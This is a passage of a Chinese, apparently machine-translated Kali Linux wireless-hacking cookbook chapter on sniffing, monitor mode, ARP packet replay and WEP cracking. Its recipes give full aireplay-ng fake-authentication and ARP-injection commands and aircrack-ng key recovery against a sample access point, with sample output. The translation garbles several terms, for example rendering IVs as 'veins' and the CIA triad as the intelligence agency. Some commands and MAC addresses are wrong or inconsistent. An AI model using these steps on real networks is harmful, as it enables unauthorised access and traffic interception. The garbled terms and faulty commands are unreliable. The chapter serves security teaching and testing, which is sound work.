Skip to content

Latest commit

 

History

History
573 lines (372 loc) · 38 KB

File metadata and controls

573 lines (372 loc) · 38 KB

三、攻击完整性控制

在本章中,我们将介绍以下配方:

  • 在无线网络上嗅探
  • 使用监控模式和数据包注入
  • 执行数据重播
  • 开裂 WEP

介绍

在处理任何类型的网络或信息时,需要解决的基本组件之一是完整性。数据的完整性至关重要,因为一条信息的接收者需要有信心,他们所接收和依赖的内容忠实于该数据的创建者和发送者的意图。如果数据的完整性和信心丧失,那么数据就变得毫无价值。

如果你在安全部门工作了足够长的时间,你无疑会遇到著名的CIA三合会,这是机密性完整性可用性的缩写。简言之,保密性指的是确保信息不被未经授权的访问或披露。可用性是指尽可能保持对系统和数据的访问恒定或接近恒定的做法(通常根据正常运行时间来讨论,例如 99.999%的正常运行时间)。最后,完整性组件是我们在本章中讨论的内容。数据的完整性确保信息没有错误、损坏、修改或未经授权的第三方所做的任何事情。 记住,在与中情局合作时,提供一个并不意味着你在做任何事情来解决其余的问题。例如,提供完整性控制并不意味着信息也具有机密性,因为这是一种单独的控制类型。事实上,在许多情况下,你将为中央情报局的一个方面提供保护,而不是其他方面。例如,您可能希望确保您发送的电子邮件人人都能阅读,但您可以对其进行控制,以确保没有人可以更改它,使其看起来像您在说您不想说的话。 重要的是,请记住,对于任何组织或个人来说,都没有神奇的子弹或公式能够完美平衡这三个组成部分。您必须执行风险评估或评估,以根据您独特的威胁和漏洞确定您的情况平衡。

要破坏数据的完整性,攻击者只需找到一种方法来更改或损坏数据,使其受到质疑或无法按原定计划使用。为了执行基于完整性的攻击,恶意方将试图访问网络(在我们的案例中为无线网络),影响数据流并以某种方式修改数据。他们如何修改数据将取决于他们的具体目标和意图。

如果恶意方试图使数据变得毫无价值,他们可以重定向数据、损坏数据,甚至阻止数据到达其预期目的地。如果恶意方试图以这种方式更改数据以改变流程的结果,他们可以使用任何数量的工具以这种方式更改数据的值或结构以实现其结果。例如,攻击者可能会截获股票报价,并在发送给接收者的过程中改变各种股票的价值,以诱使他们购买或出售本来不会购买或出售的股票。最后,影响网络本身的完整性还可能使攻击者破坏安全性并截获诸如凭据和其他有价值的信息“金块”。

在无线网络中,影响完整性的攻击广泛而强大,可以采取多种不同形式,每种形式都可以单独使用或组合使用,以创建更强健的攻击解决方案。无线通信中使用的完整性控制机制的一些示例包括:

  • 加密:这是对机密性和完整性非常有用的控制或对策。在完整性的情况下,加密和散列的数据更不易泄露,因为没有密钥就无法解密,或者(就像散列一样)数据的更改将导致其失效。
  • 预共享密钥PSK系统:这涉及到在每个工作站或设备上输入公共密钥的系统的使用,该系统允许其对无线接入点进行认证。这种类型的保护通常以非企业 WEP、WPA 或 WPA2 的形式出现。
  • 企业认证:这类系统的工作方式与基于 PSK 的环境相同,只是通过使用 RADIUS 等系统集中进行密钥管理。

这只是一个简短的列表,其中列出了可以部署以强制实施完整性的潜在措施,但是,在无线环境之外,还有许多其他措施可以补充或取代此列表中提到的内容。

一旦获得网络访问权,并且数据的完整性受到质疑,攻击者可能会选择为他们选择的任何目的更改内容。

攻击类型

有许多完整性控制攻击,当由熟练的手使用时,这些攻击都非常有效。本章各页中介绍的方法代表了可部署在无线网络及其客户端设备上或针对无线网络及其客户端设备的一些最有效和最流行的方法。

在我们开始探索每一种攻击之前,让我们首先列出本章将介绍的攻击:

  • 数据重放
  • 包注入
  • 信标帧的检测
  • 信标帧欺骗

请记住,这些只是可用于破坏无线网络完整性的攻击类型中的一小部分;它们绝不应被视为唯一的攻击类型。

在无线网络上嗅探

嗅探是一种用于观察网络流量从发送方到接收方(在许多情况下是从发送方到接收方)的技术。嗅探允许您实时捕获流量,并通过使用过滤器提取流量,也可以捕获流量并将其保存到文件中以供以后分析和处理。嗅探是一种获取网络及其设备上的信息的强大技术,它可以作为基于所获得的结果的后续活动的基础。

请注意,我在本段第一行提到嗅探是一种观察网络中流量移动的技术。这是一个重要的细节,我觉得可能是微妙的,需要指出相应的。嗅探本身不应该被认为是用来执行攻击的东西,以免我们陷入这样的想法:这就是它的全部好处。事实上,嗅探是一种每天都被用于完全良性和高效手段的技术。网络管理员使用嗅探器来诊断网络问题,优化性能,以及许多其他有益的手段。 在本章中,我们只是简单地利用嗅探功能从网络中捕获信息,然后根据我们发现的信息采取行动。此工具的良性或恶意使用取决于对结果的处理意图。

嗅探是如何工作的?

嗅探通过利用或改变某些条件来工作。嗅探的目标是观察执行嗅探的系统正在移动的流量,但在正常操作条件下,任何系统都只能看到直接发送给它或来自它的信息。这是有道理的,因为一个必须处理所有信息流的系统将因效率低下和性能差而陷入困境——更不用说这也会带来安全风险。

为了查看经过的所有流量,网络适配器需要切换到所谓的混杂模式。要了解混杂模式,首先要了解在正常情况下,网络适配器不会在此情况下运行。实际上,在非混杂模式下运行的适配器将过滤掉所有不适用于它的流量,并且只处理发往它的流量。然而,当网卡切换到混杂模式时,情况就会发生变化。在混杂模式下,适配器将不再过滤不适用于它的流量,并将允许系统上安装的软件(用于处理此信息的软件)查看所有流量。下图显示了放置在网络上的处于混杂模式的适配器。

执行嗅探的系统设置

在现代网络环境中,几乎每一个网络适配器都可以切换到混杂模式,并且只需要得到指示就可以切换到混杂模式。然而,在大多数情况下,切换到该模式对于正常操作来说是完全不必要的,因为设备只需要查看为其准备的信息。正因为如此,使用设计用于检测系统上使用的这种模式的方法,可以有效地定位可能正在运行未经授权的嗅探活动的系统。请记住,处于混杂模式的卡本身不会引起报警,因为有正当理由网络适配器可能会在此模式下运行。一个主要的例子是网络入侵检测系统NIDS)的情况,其设计用于检测可疑流量或活动的存在,然后向网络管理员发出警报。就其本质而言,这些系统必须以混杂模式运行,才能观察到所有流量。

在无线网络中,我们没有混杂模式,但是我们有第 2 章中提到的*攻击访问控制,*称为监控模式。监视模式具有一些与混杂模式不同的功能。首先,切换到监视器模式的卡可以观察无线网络上传输的数据,而无需首先与之关联。其次,监控模式在大多数情况下阻止卡传输数据。第三,一张卡一次只能监听一个频道,但这取决于所涉及的设备和驱动程序。

另一个注意事项是:智能手机、平板电脑和类似设备中的许多网卡不支持混杂模式,因此必须使用外部适配器才能获得这种能力。

为了观察网络上的所有流量,一旦我们处于混杂模式,我们首先必须能够看到流量。换句话说,如果你和你想监听的人不在同一个房间,你就不能窃听谈话(窃听设备和 NSA 小工具不包括在内)。在网络中,这意味着您必须位于同一冲突域上。

在传统的有线网络上,所有设备都通过集线器连接,它们都有效地位于同一冲突域上。考虑一下集线器的工作方式:发送到集线器上一个端口的流量会自动发送到集线器上的所有端口。因为任何一个站点都可以在任何时间传输,所以碰撞可能发生,也确实发生,这导致了所谓的碰撞域。当这种情况存在时,可以很容易地监听网络上的流量,因为每个站点共享相同的逻辑传输区域。基本上,当观察者和受害者都能看到对方的行为时,嗅探是有效的。

请注意,在现代网络中,使用集线器是不受欢迎的,原因有很多,包括我们在这里讨论的嗅探。在现代网络中,交换机已经完全取代了生产中的集线器,以避免此类风险,并优化网络性能和简化管理。

本质上,无线网络也存在同样的情况,在无线网络中,碰巧被设置为寻找流量的其他方可以观察到流量。

请注意,传统有线网络在其设计中使用基于冲突的技术,称为CSMA/CD,它是载波侦听多址与冲突检测的缩写。这在实践中意味着,如果两个或多个电台同时进行传输,它们将导致碰撞(将其视为两个人同时通话)。这项技术将检测冲突,并通过强制两个电台在重新传输之前等待一段随机时间来处理冲突,希望避免再次发生冲突。碰撞是许多网络的正常组成部分,在碰撞过多之前不会成为问题,在这种情况下,可以对网络进行分段以将数量减少到更好的数量。 在无线网络中,使用称为CSMA/CA载波侦听多址和冲突避免的技术。正如您可能猜到的,该过程不涉及检测碰撞,而是完全避免碰撞。实际上,这意味着一个站点将检查是否有人在传输数据,如果没有,它将发出一个信号,表示它已准备好传输,以阻止任何其他站点发送数据。在这一点上,设备将在完成传输时发送和发送信号,从而释放网络。 一些有线网络确实使用 CSMA/CA,但这并不常见。

执行成功的嗅探的下一个组成部分是以网络嗅探的形式使用软件。在 Kali Linux 中,我们设计了许多工具来完成这项工作;一些最流行的工具如下所示:

  • Dsniff:这是一套围绕嗅探这一共同主题而设计的工具,每一套工具都旨在非常有效地执行特定类型的嗅探,并在粒度级别上执行。许多工具都以特定的协议或目的为中心。
  • Tcpdump:这是 Linux 最常用的网络嗅探器/分析器之一。Tcpdump 是一个用于显示标题信息的命令行工具。Tcpdump 可在www.Tcpdump.org上获得。
  • EtherApe:这是一个 Linux/UNIX 工具,旨在以图形方式显示从系统传入和传出的连接,以便更好地可视化网络活动。
  • Wireshark:最广为人知和使用最广泛的数据包嗅探器之一。提供了大量的功能,所有这些功能都旨在帮助对流量进行剖析和分析。
  • Kismet:我们在第 2 章攻击访问控制时看到了这个实用程序。这个实用程序有很多功能,包括包嗅探器。

嗅探器是用于捕获和扫描网络中移动的流量的实用工具。你会发现嗅探器在你的武器库中是一个非常有价值的工具,可以用于许多不同的攻击,但是为什么它们如此强大呢?使用嗅探器的最大原因之一是捕获和解析未加密的网络流量,至少在我们的情况下是这样。

嗅探器的成功程度取决于某些网络协议的相对和固有的不安全性。像久经考验的 TCP/IP 这样的协议在设计时从来没有考虑到安全性,因此在这方面没有提供太多。有几种协议易于嗅探:

  • Telnet/RLOGIN:按键,如用户名和密码,可以很容易地嗅到
  • HTTP:设计为在没有任何保护的情况下以透明方式发送信息,因此是一个很好的嗅探目标
  • 简单邮件传输协议SMTP):常用于邮件传输,该协议效率高,但不包含任何防嗅探保护
  • 网络新闻传输协议NNTP):所有通信,包括密码和数据,均以明文发送
  • 邮局协议POP):设计用于从服务器检索电子邮件,该协议不包括防止嗅探的保护,因为密码和用户名可以被截获
  • 文件传输协议****FTP:设计用于发送和接收文件的协议;所有的传输都在清零状态下发送
  • 互联网消息访问协议IMAP):功能类似 SMTP,缺乏保护

这里列出的所有协议都以明文形式传输信息,包括密码、用户名、击键和数据。

准备

要开始工作,您需要准备好以下各项:

  • 一种能够进入混杂模式的无线网卡
  • 安装了 Wireshark 的 Kali Linux

Wireshark 应该像往常一样作为默认安装 Kali Linux 的一部分进行安装。您不必安装此软件包,而只需从 Kali 中应用程序菜单下的嗅探菜单中选择它即可。

怎么做。。。

您可能希望养成将嗅探活动保存到 PCAP 文件的习惯。这些文件由许多不同的嗅探实用程序(以及其他应用程序)支持,以支持保存捕获的网络活动以供以后或进一步分析。由于网络条件可能会发生变化(有时变化很大),并且您正在观察和可能好奇的情况可能是独特的,因此您可能希望保存该文件以供以后参考和查看。

  1. 启动 Wireshark。

  2. 从以下屏幕中选择要使用其执行嗅探的界面。

选择嗅探界面屏幕

  1. 或者,您可以使用捕获接口并勾选与无线适配器匹配的接口。
  2. 按下此处的开始按钮,Wireshark 将开始捕获流量。“开始”按钮看起来像鱼翅。

此时,您应该开始观察 Wireshark 主窗口中捕获的流量。在我们这里看到的级别上,嗅探无线通信和有线通信实际上没有区别。不过,您可以做一些事情来进一步使用无线嗅探,我们将在下一步进行探讨。

使用监控模式和数据包注入

我们将在嗅探过程中引入的下一项是一种称为监视模式的模式。监视器模式是一种特殊类型的操作,仅限于无线适配器。此模式用于允许无线适配器查看其当前未关联的无线网络上的流量。这种模式允许我们使用嗅探器捕获该地区任何无线网络的流量,而不受限制。

大多数现代无线适配器都支持监视器模式,但并不普遍支持。在 Linux 上,大多数无线适配器可以通过一些命令行配置切换到监视模式。这与您在 Microsoft Windows 平台上可能遇到的情况不同,在 Microsoft Windows 平台上,通常只有通过使用外部适配器(如 AirPcap)才能使用监视器模式。 此外,重要的是确保不要将监控模式与混杂模式混淆,因为它们不同。混杂模式在有线和无线网络上都可用,允许查看经过嗅探机的所有流量,无论是否涉及它们。监控模式是无线独有的,允许查看您当前未关联的无线网络上的流量。它们非常相似,但不尽相同。

准备

要开始工作,您需要准备好以下各项:

  • 能够进入监控模式的无线网卡
  • 安装了 Wireshark 的 Kali Linux

怎么做。。。

在这个配方中,我们将把网卡切换到监视器模式,这样它就可以用来观察来自非关联接入点的流量。

为了将网络适配器切换到监控模式,如果您还不知道无线适配器的名称,我们可以使用ifconfig来识别无线适配器。如果您确实知道名称,请执行以下步骤。

  1. 打开终端窗口。
  2. 输入以下命令:
 ifconfig <adapter name> down
  1. 输入将使网络适配器脱机。
  2. 输入以下命令:
 iwconfig <adapter name> mode monitor
  1. 进入将卡切换到监控模式。
  2. 输入命令:
 ifconfig <adapter name> up
  1. 输入使网络适配器重新联机。
  2. 这些命令将使无线网卡进入监控模式。
  3. 要利用卡处于监控模式的优势,我们可以发出以下命令:
 airodump-ng <adapter name> 

将卡置于监视器模式非常重要,因为它允许我们继续执行后续步骤并成功执行这些步骤。在正常情况下,无线适配器必须与无线接入点相关联,以便能够以与有线网络上的嗅探器相同的方式查看和观察流量。要在不与接入点关联的情况下执行攻击,我们将使用监视模式。监控模式允许我们查看与无线网络或接入点相关的流量,而不实际与之相关。事实上,在本书中,我们将多次使用监视器模式来执行任务,例如在 web 和 WPA 中恢复密钥,以及其他任务。

根据您使用的无线网卡和相关驱动程序,启用监视器模式的具体步骤在某些情况下会发生很大变化。为了确定当前使用的驱动程序,只需运行以下命令。

airmon-ng 

在安装了 Ralink、Atheros 和 Broadcom 无线网卡的机器上,系统响应如下:

下一个我们逻辑上用来跟进之前任务的工具是一个称为airodump-ng的工具;这个工具使我们能够根据需要捕获数据包。事实上,这个工具非常重要,我们将在稍后对无线网络执行密码和密钥破解时使用它。。

我们通过键入airodump-ng命令和重命名的监视器界面(mon0来激活此工具,如下所示:

airodump-ng mon0 

airodump-ng命令显示范围内的所有接入点及其 BSSID(MAC 地址)、功率、信标帧数、数据包数、信道、速度、加密方法、使用的密码类型、使用的认证方法和 ESSID。

执行数据重播

现在,让我们通过对嗅探执行后续攻击(通常称为重播或数据重播)来进一步了解情况。顾名思义,从网络捕获的信息被存储,然后回放到它所指向的网络设备。然而,如果收集到正确的信息,并且防御方几乎没有采取保护措施,攻击可能会更加危险。

受害者登录过程中可能捕获的登录凭据等信息可以简单地在服务器或其他资源上重播并授予访问权限。在使用未加密协议的环境中,这将非常有效。

在此配方中,我们将使用地址解析协议ARP)执行重播攻击,但此攻击可以修改为执行其他协议和操作。然而,在我们走得太远之前,让我们先谈谈 ARP 和我们正在做的事情。

ARP 在网络上有多种用途,但最常见的用途是与网络上的定位系统相关。该协议在开放系统互连OSI模型)的第 2 层和第 3 层均有效。实际上,第 2 层是交换机驻留和运行的层,也是定义 MAC 地址的层。MAC 地址是一个 ID,通常由制造商分配,可以通过软件设置,特别是ifconfig实用程序进行更改。

在子网上,IP 地址不是识别希望通信的机器的主要机制;这是 MAC 地址的功能。

如果我们考虑单个子网,并且我们考虑子网上的两个主机试图通信,那么我们现在有一个 MAC 地址将被用来代替 IP 地址的情况。IP 地址仅在需要在不同子网或网络之间路由流量的情况下使用。在本地子网上,MAC 是用于获取从一点到另一点的流量的主要机制。

在正常操作下,系统将保存在 ARP 查找表或现金中,在其中存储有关哪些 IP 地址与哪些 MAC 地址关联的信息。当试图向子网上的另一台主机发送数据(如数据包)时,发送方将查看其目的地的 IP 地址,一旦发现其位于同一子网上,则将发送 art 广播。此广播将在子网上发送,本质上,将要求该子网上拥有特定 IP 地址的其他客户端以及该主机返回其 MAC 地址。

值得注意的是,如果一台主机之前已经与同一子网中的另一台主机进行了通信,则 IP 地址和 MAC 地址关联将已经存储在本地系统的缓存中,该缓存也称为 ARP 表。

准备

要开始工作,您需要准备好以下各项:

  • 能够进入监控模式的无线网卡
  • 卡利 Linux

这里列出的项目是基本要求,如果需要,您可以轻松使用更多(或不同)组件。例如,如果您想要增强范围,您可以使用一个基于 USB 的无线卡,该卡连接到一个可以获得更好接收效果的外部天线。您也可以使用不同的无线应用程序而不是 Kismet 来完成此任务,但是由于 Kismet 非常流行,我们将在本配方中使用它。

在本食谱中,我们将使用aircrack-ng套件中的一组工具,其中包括许多不同的工具,我们将在后面的其他章节中遇到这些工具。我们将使用的工具有:

  • airodump-ng:用于嗅探网络上的流量。
  • aireplay-ng:用于生成流量,用于破解共享密钥或导致反认证情况,稍后我们将看到。为了捕获 WPA 握手数据、伪造认证、交互式数据包重放、手工制作的 ARP 请求注入和 ARP 请求重新注入,存在可能导致取消认证的选项。

怎么做。。。

首先,打开控制台使用airodump-ng开始嗅探流量。aireplay-ngairodump-ng将同时运行,但在不同的控制台中。

要启动airodump,请使用以下命令:

airodump-ng <wireless interface name)

按*回车,*可能需要一些时间,但要等待目标网络出现在您的列表中;以下屏幕截图显示了一个示例:

注意第一列中显示的 MAC 地址。

一旦你的目标出现,你就可以开始aireplay。在第二个控制台中,输入以下内容:

aireplay-ng --arpreplay -b <target BSSID> -h <MAC address of connected client> <interface name> 

-b指定目标 BSSID,-h连接客户端的 MAC。

  1. 现在您必须等待 ARP 数据包到达。通常你得等几分钟。一旦成功,您将看到类似以下内容:
 Saving ARP requests in replay_arp-1001.cap 
  1. 您还必须启动airodump以捕获回复:
 Read 2493 packets (got 1 ARP requests), sent 1305 packets...
  1. 下一步是重用保存在文件中的捕获的 ARP 数据包。您会注意到它说 ARP 请求被保存在replay_arp-1001.cap中。因此,我们不必等待新的 ARP,只需使用-r参数重用旧的 ARP:
 aireplay-ng -2 -r replay_arp-1001.cap ath0                        
  1. 系统响应:
 Size: 86, FromDS: 0, ToDS: 1 (WEP) 

           BSSID  =  00:14:6C:7E:40:80 
       Dest. MAC  =  FF:FF:FF:FF:FF:FF 
      Source MAC  =  00:0F:B5:88:AC:82 

      0x0000:  0841 0000 0014 6c7e 4080 000f b588 ac82  .A....l~@....... 
      0x0010:  ffff ffff ffff 7092 e627 0000 7238 937c  ......p..'..r8.| 
      0x0020:  8011 36c6 2b2c a79b 08f8 0c7e f436 14f7  ..6.+,.....~.6.. 
      0x0030:  8078 a08e 207c 17c6 43e3 fe8f 1a46 4981  .x.. |..C....FI. 
      0x0040:  947c 1930 742a c85f 2699 dabe 1368 df39  .|.0t*._&....h.9 
      0x0050:  ca97 0d9e 4731                           ....G1 

      Use this packet ? y 
      You say "y" and then your system will start injecting: 

      Saving chosen packet in replay_src-0219-123117.cap 
      You should also start airodump-ng to capture replies. 

      Sent 3181 packets... 

开裂 WEP

与其他网络相比,无线网络的一个独特特征当然是它们不使用传统媒体,而是使用无线电波将信息从一点传送到另一点。这就是网络如此吸引人和流行的原因,因为人们可以在无线网络范围内的任何地方携带他们的设备,并且仍然可以保持这种访问,而不必担心电缆之类的问题。然而,这种力量是有代价的,那就是无线电信号是不分青红皂白的,任何能够接收它们的人也将能够处理它们所携带的信息。

幸运的是,无线网络的设计者将此视为一个问题,并决定以有线等效隐私WEP的形式为 IEEE 802.11b 网络设计的初始规范构建保护。在发布的时候,WEP 被认为是一个很好的特性,但是问题出现并随后滚雪球的时间不长。

WEP 是现有加密协议中最古老、最脆弱的一种。WEP 标准是作为无线安全的初始解决方案引入的,但很快就被发现存在缺陷且极易受到攻击。 WPA 或 Wi-Fi 保护接入是 WEP 的继承者,旨在解决困扰 WEP 的许多问题。在许多领域,它都取得了成功,制定了更加严格的安全协议。WPA 使用 TKIP、MIC 和 AES 加密作为其保护信息的主要机制。 WPA2 是 WPA 的升级或后续版本,旨在用 WPA 解决和替换问题。WPA2 强大得多,并以 AES 和 CCMP 的形式使用更严格的加密。该标准的版本还使用了更强大的系统,如 EAP、TKIP 和 AES(具有更长的密钥)。

然而,在我们进入问题之前,让我们先看看 WEP 应该如何工作,然后再继续研究如何利用它的问题。

WEP 是最早的无线加密协议,当最初引入并集成到 802.11b 标准中时,它被看作是或多或少地提供与有线网络相同的数据传输安全性的一种方式。按照设计,WEP 协议利用了一些现有技术,包括 RC4 加密协议。

在设计和推出时,其目的是实现以下目标:

  • 挫败对通信的窃听,并尝试减少未经授权的数据泄露
  • 检查数据在网络中流动时的完整性
  • 在传输之前,使用共享密钥加密数据包
  • 在一个轻量级、高效的系统中提供机密性、访问控制和完整性

其问题产生于以下情况:

  • 该协议的设计没有经过经验丰富的密码学家、学术界甚至公众的审查。
  • 除了必须手动输入到每个站点的预共享密钥外,它没有为密钥分发(如集中密钥管理)提供明确定义的方法。因此,大规模更改密钥非常麻烦;因此,很少有人改变。
  • 它的设计使得使用操作系统中免费提供的嗅探工具和破解工具(如基于 Linux 的 Kali)被动地发现密钥成为可能。
  • 不同供应商使用的密钥生成器设计不一致,导致漏洞,如 40 位密钥的使用问题。
  • 用于执行密钥调度的算法已被证明容易受到攻击。
  • 完整性检查中使用的 CRC32 存在缺陷,只要稍加修改,攻击者就可以始终如一地修改数据包,以产生预期的结果。
  • 初始化向量IVs的长度只有 24 位,这意味着一个轻度活跃的网络可以在 5 小时或更短的时间内耗尽整个 IVs 池。
  • 通过对数据包的分析,它容易受到已知的明文攻击。
  • 可以通过分析允许创建解密表的分组来发现密钥。
  • 它容易通过使用未经 WEP 认证的关联和解除关联消息受到拒绝服务攻击。

准备

要开始工作,您需要准备好以下各项:

  • 能够进入监控模式的无线网卡
  • 卡利 Linux

这里列出的项目是基本要求,如果需要,您可以轻松使用更多(或不同)组件。例如,如果您想要增强范围,您可以使用基于 USB 的无线网卡,该网卡可以连接外部天线,从而获得更好的接收效果。

怎么做。。。

为了破解运行该协议的接入点的 WEP 密钥,需要收集称为初始化向量IVs)的过程。这个过程的问题是,在正常情况下,网络不会在短时间内生成大量这些项目。在正常情况下,这意味着我们必须等待很长一段时间才能获得足够的 IVs 来检索网络密钥。然而,我们可以通过利用我们以前配方中的信息以及一些新技能来检索钥匙,从而加快这一过程。简单地说,我们将向网络中注入数据包,以使 AP 在更短的时间内生成大量数据包,这意味着增强了捕获更多弱 IVs 数据包的能力。

完成此过程后,我们可以使用捕获的流量检索密钥。

简言之,我们将在本配方中看到的步骤如下:

  1. 在特定 AP 通道上以监视器模式启动无线接口。
  2. 测试无线设备向 AP 的注入能力。
  3. 使用aireplay-ng对接入点进行虚假认证。
  4. 使用bssid过滤器在 AP 通道上启动airodump-ng以收集新的唯一 IVs。
  5. 在 ARP 请求重播模式下启动aireplay-ng注入数据包。
  6. 运行aircrack-ng使用收集的 IVs 破解钥匙。

第一阶段-配置监视器模式

打破 WEP 需要执行的第一步是将卡切换到监控模式,就像我们之前所做的那样。我们需要这样做,以便允许网络接口检测到附近网络传输的每个数据包。要在名为wlan0的网络接口上执行此操作:

  1. airodump-ng启动wlan0 99会将卡锁定为监听频道9,但这可以更改为您希望观察的接入点上的频道。您可以在不使用频道指示符的情况下运行命令来发现您希望目标接入点的频道)。

  2. 进入。

 The system will respond: 

     Interface       Chipset         Driver 

     Wlan0           Atheros         madwifi-ng 
     ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode 
     enabled) 

您会注意到上面报告的ath0已进入监控模式。要确认接口设置正确,请输入iwconfig

系统将响应:

 lo        no wireless extensions. 

 Wlan0     no wireless extensions. 

 eth0      no wireless extensions. 

 ath0      IEEE 802.11g  ESSID:""  Nickname:"" 
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82    
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3   
        Retry:off   RTS thr:off   Fragment thr:off 
        Encryption key:off 
        Power Management:off 
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm 
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0 
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0 

在上面的响应中,您可以看到ath02.452 GHz频率上处于监控模式,即通道 9,接入点显示您的无线网卡的 MAC 地址。在继续之前确认适配器的配置非常重要,以避免以后出现问题。配置不当可能导致开裂过程无法正常工作或根本无法正常工作。

第二阶段-数据包注入

为了确保我们能够正确地攻击网络,我们需要确保我们足够接近以执行数据包注入。为了验证这一点,我们将运行以下命令:

aireplay-ng -9 -e ganon -a 00:28:6C:E4:40:80 wlan0
  • -e ganon:这是无线网络名称
  • -a 00:28:6C:E4:40:80:这是接入点 MAC 地址

系统应以以下方式响应:

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9 
 09:23:35  Trying broadcast probe requests... 
 09:23:35  Injection is working! 
 09:23:37  Found 1 AP  

 09:23:37  Trying directed probe requests... 
 09:23:37  00:28:6C:E4:40:80  - channel: 9 - 'ganon' 
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73 
 09:23:39  30/30: 100% 

最后一行很重要,因为我们正在寻找接近100%的值;如果此值较低,则表示您离接入点太远或没有收到良好的信号。如果是这样,试着改变位置。

第三阶段-捕获静脉

现在我们已经走到了这一步,我们需要让她撕开并开始捕捉那些美味的试管。我们通过使用airodump来帮助我们捕获这些宝贵的信息。

打开第二个控制台会话并保持前一个会话打开以捕获生成的 IVs。然后,输入:

airodump-ng -c 9 --bssid 00:28:6C:E4:40:80 -w output wlan0 
--bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic. 
-w capture is file name prefix for the file which will contain the IVs. 

在执行注射时,屏幕将与此类似:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25  

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID 

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                            

 BSSID              STATION            PWR  Lost  Packets  Probes                                              

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782 

第四阶段-执行假认证

让这个过程正常工作的下一步是通过接入点进行认证。这一点很重要,因为如果我们在没有关联的情况下执行数据包注入,并且接入点存在,则该过程将失败,连接将被拒绝。事实上,如果注入的源 MAC 地址没有关联,目标 API 将忽略该数据包,并以明文形式发送一个反验证数据包以拒绝连接尝试。发生这种情况时,不会创建新的 IVs,因为 AP 会忽略所有注入的数据包。

您用于注入的 MAC 必须通过使用假认证或使用已关联客户端的 MAC 与 AP 关联。

为了将客户端与接入点关联,我们将使用假认证:

aireplay-ng -1 0 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0
  • -1表示假认证
  • 0重新关联计时(秒)
  • -eganon 是无线网络名称
  • -a 00:14:6C:7E:40:80是接入点 MAC 地址
  • -h 00:0F:B5:88:AC:82是我们的卡 MAC 地址

成功看起来像:

18:18:20  Sending Authentication Request 
18:18:20  Authentication successful 
18:18:20  Sending Association Request 
18:18:20  Association successful :-) 

或其他针对挑剔接入点的变体:

aireplay-ng -1 6000 -o 1 -q 10 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0
  • 6000:每6000秒重新验证一次。长周期还导致发送保持活动的数据包。
  • -o 1:一次只发送一组数据包。默认值为多个,这会混淆某些 AP。
  • -q 10:每10秒发送一次活动数据包。

成功看起来像:

18:22:32  Sending Authentication Request 
18:22:32  Authentication successful 
18:22:32  Sending Association Request 
18:22:32  Association successful :-) 
18:22:42  Sending keep-alive packet 
18:22:52  Sending keep-alive packet 
# and so on. 

但是,如果认证失败,将导致以下结果:

18:28:02  Sending Authentication Request 
18:28:02  Authentication successful 
18:28:02  Sending Association Request 
18:28:02  Association successful :-) 
18:28:02  Got a deauthentication packet! 
18:28:05  Sending Authentication Request 
18:28:05  Authentication successful 
18:28:05  Sending Association Request 
18:28:10  Sending Authentication Request 
18:28:10  Authentication successful 
18:28:10  Sending Association Request 

请注意,在本例中,出现了一条Got a deauthentication packet消息,随后进行了一系列重试。如果发生这种情况,则意味着您无法成功继续,您必须重试以查看是否可以成功关联。

第五阶段–ARP 重播模式

回到前面的方法,我们将使用aireplay-ng侦听 ARP 请求,然后使用捕获的信息将数据包重新注入网络。在这种情况下,我们使用 ARP 请求数据包,主要是因为 AP 将重新广播这些数据包,从而生成新的 IV。由于这是我们的主要目标,为了在短时间内获得大量的 IV,我们正在进行此操作。

要执行注入,我们需要打开另一个控制台并输入:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0

这将开始监听 ARP 请求,当它听到一个请求时,aireplay-ng将立即开始注入它。

如果该过程成功完成,预期会看到类似以下内容的输出:

 Saving ARP requests in replay_arp-2017.cap 
 You should also start airodump-ng to capture replies. 
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets... 

您可以通过检查airodump-ng屏幕确认您正在注射。数据包应该迅速增加。#/s应该是一个合适的数字。然而,体面取决于多种因素。典型的范围是每秒300400数据包。它可以低至 100/秒,也可以高达 500/秒。

第六阶段-获取 WEP 密钥

现在我们已经捕获到一个.cap文件的流量,现在我们将尝试从捕获的数据包中检索密钥。为此,我们采取以下措施:

打开另一个新的控制台会话并输入:

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

-b 00:14:6C:7E:40:80选择我们感兴趣的一个接入点。

.cap选择以输出开始,以.cap结束的所有文件。

  1. 您可以在生成数据包时运行此操作。在短时间内,将计算并显示 WEP 密钥。64 位密钥需要大约 250000 个 IVs,128 位密钥需要 1500000 个 IVs。请注意,这些值是粗略的指导原则,其他变量可能会影响实际需要收集的流量和 IVs 数量。
  2. 如果该过程成功完成,您将看到如下内容:
 Aircrack-ng 0.9 

                              [00:03:06] Tested 674449 keys (got 96610 IVs) 

 KB    depth   byte(vote) 
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)  
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)  
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)  
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)  

                       KEY FOUND! [ 12:34:56:78:90 ]  
      Probability: 100% 

